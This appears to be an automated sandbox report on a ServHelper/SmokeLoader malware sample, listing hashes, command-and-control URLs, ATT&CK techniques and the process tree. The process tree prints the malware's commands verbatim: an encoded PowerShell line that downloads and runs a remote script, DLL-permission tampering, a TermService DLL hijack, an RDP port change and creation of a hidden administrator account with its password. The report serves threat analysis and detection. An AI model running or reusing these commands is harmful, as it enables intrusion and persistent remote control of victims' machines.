servhelper | 477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a

Analysis

max time kernel
151s
max time network
123s
platform
windows7_x64
resource
win7-en-20210920
submitted
18-10-2021 11:30

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General

Target

363fece1255b4dd7f688225dbc090e8b.exe
Size

262KB
MD5

363fece1255b4dd7f688225dbc090e8b
SHA1

624e505f3b828e0f27bd8c2d82687def04ea63d9
SHA256

477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a
SHA512

70db537ae80612b88db8dfcb33d61a1deecd97555c2d150a9e2fdbaa4a6e89ca2600afbc07eaa6fd32342f044b602951d8bacaebbea7a4efe3c6fafb5054ccab

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
33	1864	powershell.exe
34	1864	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
556	4BFE.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
996	takeown.exe
1736	icacls.exe
1648	icacls.exe
1740	icacls.exe
1752	icacls.exe
860	icacls.exe
1992	icacls.exe
1540	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00090000000130fe-141.dat	upx
behavioral1/files/0x000800000001318e-142.dat	upx

Deletes itself 1 IoCs

pid	Process
1204	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
1204	Process not Found
1204	Process not Found
1988	Process not Found
1988	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1992	icacls.exe
1540	icacls.exe
996	takeown.exe
1736	icacls.exe
1648	icacls.exe
1740	icacls.exe
1752	icacls.exe
860	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2BIKA6X39RCPDI2WWA85.temp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90a2f5ad13c4d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1724	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1776	363fece1255b4dd7f688225dbc090e8b.exe
1776	363fece1255b4dd7f688225dbc090e8b.exe
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1204	Process not Found

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
1988	Process not Found
1988	Process not Found
1988	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1776	363fece1255b4dd7f688225dbc090e8b.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1648	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeAuditPrivilege	1272	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeAuditPrivilege	1272	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeAuditPrivilege	316	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeAuditPrivilege	316	WMIC.exe
Token: SeDebugPrivilege	1864	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 556	1204	Process not Found	27
PID 1204 wrote to memory of 556	1204	Process not Found	27
PID 1204 wrote to memory of 556	1204	Process not Found	27
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 652 wrote to memory of 1684	652	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe
"C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1776

C:\Users\Admin\AppData\Local\Temp\4BFE.exe
C:\Users\Admin\AppData\Local\Temp\4BFE.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tkffumk6.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EBB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6EBA.tmp"
      4⤵
      PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:996
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1736
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1752
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:860
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1992
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1540
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:892
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1724
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:960
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1684
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1628
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1256
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:608
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:740
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1400
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:836

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:2016
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2012

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 2lh7U4tU /add
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 2lh7U4tU /add
  2⤵
  PID:1388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 2lh7U4tU /add
    3⤵
    PID:960

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1604
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:532

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1052
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:2020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1428

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1492

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 2lh7U4tU
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 2lh7U4tU
  2⤵
  PID:544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 2lh7U4tU
    3⤵
    PID:1864

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1552
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1272

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1276
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:316

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:616
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/556-63-0x00000000415B0000-0x00000000419AF000-memory.dmp

Filesize
4.0MB

Download
memory/556-68-0x0000000041137000-0x0000000041138000-memory.dmp

Filesize
4KB

Download
memory/556-65-0x0000000041132000-0x0000000041134000-memory.dmp

Filesize
8KB

Download
memory/556-67-0x0000000041136000-0x0000000041137000-memory.dmp

Filesize
4KB

Download
memory/556-66-0x0000000041134000-0x0000000041136000-memory.dmp

Filesize
8KB

Download
memory/1148-112-0x0000000002570000-0x0000000002572000-memory.dmp

Filesize
8KB

Download
memory/1148-114-0x0000000002572000-0x0000000002574000-memory.dmp

Filesize
8KB

Download
memory/1148-118-0x000000000257C000-0x000000000259B000-memory.dmp

Filesize
124KB

Download
memory/1148-117-0x0000000002577000-0x0000000002578000-memory.dmp

Filesize
4KB

Download
memory/1148-116-0x000000001B950000-0x000000001BC4F000-memory.dmp

Filesize
3.0MB

Download
memory/1148-113-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1148-115-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/1204-58-0x0000000001D90000-0x0000000001DA6000-memory.dmp

Filesize
88KB

Download
memory/1328-86-0x00000000022E0000-0x00000000022E2000-memory.dmp

Filesize
8KB

Download
memory/1620-97-0x00000000025E7000-0x00000000025E8000-memory.dmp

Filesize
4KB

Download
memory/1620-96-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/1620-92-0x000000001B800000-0x000000001BAFF000-memory.dmp

Filesize
3.0MB

Download
memory/1620-94-0x00000000025EC000-0x000000000260B000-memory.dmp

Filesize
124KB

Download
memory/1620-95-0x00000000025E2000-0x00000000025E4000-memory.dmp

Filesize
8KB

Download
memory/1620-91-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1620-93-0x00000000025E0000-0x00000000025E2000-memory.dmp

Filesize
8KB

Download
memory/1776-54-0x000000000091B000-0x000000000092C000-memory.dmp

Filesize
68KB

Download
memory/1776-56-0x0000000076851000-0x0000000076853000-memory.dmp

Filesize
8KB

Download
memory/1776-55-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/1776-57-0x0000000000400000-0x0000000000772000-memory.dmp

Filesize
3.4MB

Download
memory/1796-85-0x000000000260B000-0x000000000262A000-memory.dmp

Filesize
124KB

Download
memory/1796-70-0x000007FEFC351000-0x000007FEFC353000-memory.dmp

Filesize
8KB

Download
memory/1796-87-0x000000000262D000-0x000000000262E000-memory.dmp

Filesize
4KB

Download
memory/1796-74-0x0000000002604000-0x0000000002607000-memory.dmp

Filesize
12KB

Download
memory/1796-73-0x0000000002602000-0x0000000002604000-memory.dmp

Filesize
8KB

Download
memory/1796-72-0x0000000002600000-0x0000000002602000-memory.dmp

Filesize
8KB

Download
memory/1796-71-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1816-105-0x0000000002802000-0x0000000002804000-memory.dmp

Filesize
8KB

Download
memory/1816-102-0x0000000002800000-0x0000000002802000-memory.dmp

Filesize
8KB

Download
memory/1816-106-0x000000000280C000-0x000000000282B000-memory.dmp

Filesize
124KB

Download
memory/1816-104-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/1816-107-0x0000000002804000-0x0000000002807000-memory.dmp

Filesize
12KB

Download
memory/1816-101-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1816-103-0x0000000002807000-0x0000000002808000-memory.dmp

Filesize
4KB

Download
memory/1864-162-0x000007FEEB650000-0x000007FEEC1AD000-memory.dmp

Filesize
11.4MB

Download
memory/1864-164-0x000000000118B000-0x00000000011AA000-memory.dmp

Filesize
124KB

Download
memory/1864-165-0x0000000001182000-0x0000000001184000-memory.dmp

Filesize
8KB

Download
memory/1864-166-0x0000000001184000-0x0000000001187000-memory.dmp

Filesize
12KB

Download
memory/1864-163-0x0000000001180000-0x0000000001182000-memory.dmp

Filesize
8KB

Download